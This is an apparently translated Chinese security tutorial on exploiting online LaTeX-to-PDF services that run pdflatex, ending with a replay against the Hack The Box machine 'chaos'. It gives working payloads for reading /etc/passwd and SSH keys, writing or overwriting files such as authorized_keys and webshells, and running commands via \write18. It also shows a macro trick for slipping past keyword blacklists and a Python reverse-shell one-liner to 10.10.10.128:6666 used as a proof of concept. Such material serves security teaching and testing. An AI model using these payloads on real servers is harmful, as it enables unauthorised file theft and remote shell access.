简介

图片

LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档. 互联网上有一种在线输入latex然后生成pdf供用户下载的服务, 这种服务使用pdflatex组件在服务器端编译latex并生成pdf, 由于是客户端输入的数据, 因此具有不安全性, 而pdflatex本身支持读写文件、执行操作系统命令, 构造恶意的代码即可造成远程命令执行或读写文件产生恶意攻击.

LaTex攻击方式

本文介绍了基于WEBLaTex编译器的基本攻击,
TexMaker是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用pdflatexLaTex编译为pdf.(互联网上这种类似的服务还有很多)
LaTex经过了图灵测试, 也就意味着可以用它编写函数, 因此未来可能出现用LaTex编写的恶意软件. 但是, 本文重点关注LaTex读取、写入文件或执行程序的现有方法和可能性. 本文是paper的延伸.

Pdflatex有三种操作模式

  • no-shell-escape
    进行\write18{command}执行, 即使函数已经在texmf.cnf文件中启用

  • shell-restricted
    与shell-escape类似, 但是只能执行安全的预定义命令集

  • shell-escape
    允许\wite18{command}执行

读文件

Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用\input

1
\input\{/etc/passwd}

上述命令将读取/etc/passwd文件并写入到生成的PDF文件中
如果读取的文件以.tex结尾, 可以用\include读取

1
\include{password}

上述命令将从当前工作目录包含password.tex并将文件内容写入到生成的PDF文件中
如果上述的两个命令都无法使用, 可以用下面的解决方案:
方案一: 读取指定文件的首行

1
2
3
4
5
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

上述代码段创建一个\file处理对象并打开/etc/passwd文件, 读取一行到变量\line中, 将变量\line作为文本(\text)输出, 关闭文件处理对象
如果想读取全部内容, 可使用下面的代码段

1
2
3
4
5
6
7
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

上述代码创建一个\file文件对象, 打开/etc/passwd并读取, 然后用\loop进行循环, 循环内读取一行到\fileline变量中, 将变量作为文本输出, 等遇到EOF或文件读取完毕关闭文件对象.
读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等

写文件

写文件功能运行在shell-restrictedshell-escape两种模式下, 命令如下

1
2
3
4
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile

上述命令将在cmd.tex文件中写入hello-world字符串.
写文件功能可用来清空文件内容、覆盖其他文件(~/.ssh/authorized_keys、各种配置、一句话木马等)

执行命令

执行命令依赖于write18命令, 因此只能在-shell-escape模式下运行.命令为

1
\immediate\write18{env}

上述命令将运行env获取环境变量
write18命令执行结果将被重定向到标准输出, 输出内容将在epstopdf-sys.cfg这行的下面、pdftex.map这行的上面, 所以可以根据这两个关键字判断是否执行成功.

1
2
3
4
5
6
7
8
9
10
11
(/usr/share/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg))engine=pdftex
SELFAUTODIR=/usr
SELFAUTOGRANDPARENT=/
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
SELFAUTOPARENT=/
SELFAUTOLOC=/usr/bin
_=/usr/sbin/env
PWD=/var/www/ctf.internetwache.org.local/compile
LANG=de_DE.UTF8
progname=pdflatex
SHLVL=2

如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.

1
2
\immediate\write18{env > env.tex}
\input{env.tex}

如果读取的文件中含有LaTex的保留字符, 如$等, 可以使用base64编码之后在写入文件

1
2
\immediate\write18{env|base64>text.tex}
\input(text.tex)

绕过黑名单

如果input和include命令都不可用, 该如何读取文件?

可以创建文件对象读取文件:

1
2
3
4
5
6
7
\newread\file
\openin\file=env.tex
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

如果(inpute|include|write18|immediate)都不可用, 该如何执行命令和读取文件呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls |base64> test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}

% first run
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

% second run
\newread\file
openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file

上述代码, 第一次运行将创建cmd.tex文件并把上面那串代码的写入文件中, 第二次运行将读取cmd.tex然后执行其中的命令.
ps://\fileline将执行cmd.tex文件中的命令

漏洞复现

1
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/

图片

这边呢,是一个创建PDF的一个页面,我先通过BurpSuite抓包看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php HTTP/1.1
Host: chaos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 28
Connection: close

content=liuwx&template=test1

图片

发现是一个叫做 LaTex 的编辑器,然后我们通过上面的介绍来执行命令读取passwd文件:

1
\immediate\write18{cat /etc/passwd}

图片

通过执行命令来反弹shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

利用 POC :

1
\immediate\write18{python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'}

图片

声明

关于LaTeX的简介在这里:Hack-LaTeX

翻译:@owefsad,漏洞复现:@Power_Liu